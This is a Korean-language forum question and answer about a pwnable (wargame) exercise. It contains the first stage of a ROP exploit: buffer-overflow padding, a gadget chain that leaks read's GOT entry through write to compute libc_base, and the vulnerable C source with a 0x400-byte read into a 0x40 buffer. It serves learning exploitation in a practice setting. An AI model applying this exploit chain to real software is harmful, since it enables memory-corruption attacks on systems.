payload 구성 중 read_got를 받아오는 과정에서 b'A'의 개수에 대한 질문
buf = b'A'*0x48
# write(1, read_got, 8)
buf += p64(pop_rdi) + p64(1)
buf += p64(pop_rsi_r15) + p64(read_got) + p64(8)
buf += p64(write_plt)
buf += p64(main) #? 와이
p.send(buf)
p.recvuntil(b'A'*0x40)
read = u64(p.recvn(6) + b'\x00'*2)
위를 통해 처음 단계에서 buf 구성에 write_plt를 통해 read_got를 출력하고 read의 주소를 받아오는 과정의 payload를 작성했습니다. 이를 통해 libc_base를 구하고 그 후의 동작을 완성시키는 코드가 더 있는데 위 코드 부분에서 궁금증이 생겼습니다.
[질문]
buf = b'A'*0x48 을 통해 stack에서 ret 직전까지를 무의미한 dummy값으로 덮고 난 후에 payload를 통해 write를 실행시켰습니다.
그러나 이후 받을 때는 b'A'*0x40 만큼만 받고 난 후에 나오는 값이 바로 read의 주소가 되는 것을 확인하였습니다.
처음 보낼때는 dummy값을 0x48만큼 보냈었는데 왜 다 구성하고 받을 때는 0x40만큼만 받고 난 후에 read_got값이 나오는지 궁금합니다!! 0x8만큼의 dummy값이 어디로 갔는지 모르겠습니다 도와주세요ㅠㅠ
#pwnable
작성자 정보
답변
1
검을현
세계수
Q: 0x48만큼 입력했는데 왜 0x40만큼만 recvuntil()하는지 모르겠다.
A: main함수를 보면 알수있습니다.
write 함수가 출력을 sizeof(buf)에 의해 buf의 사이즈만큼 출력하는 걸 알 수 있습니다.
그래서 아무리 많이 입력해도 0x40만큼 출력되고, 출력되는 임이의 값(dummy)을 받고 그다음에 leak 되는 주소를 받게 됩니다.
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf)); //write(1, buf, 0x40) 으로 생각해야한다.
return 0;
}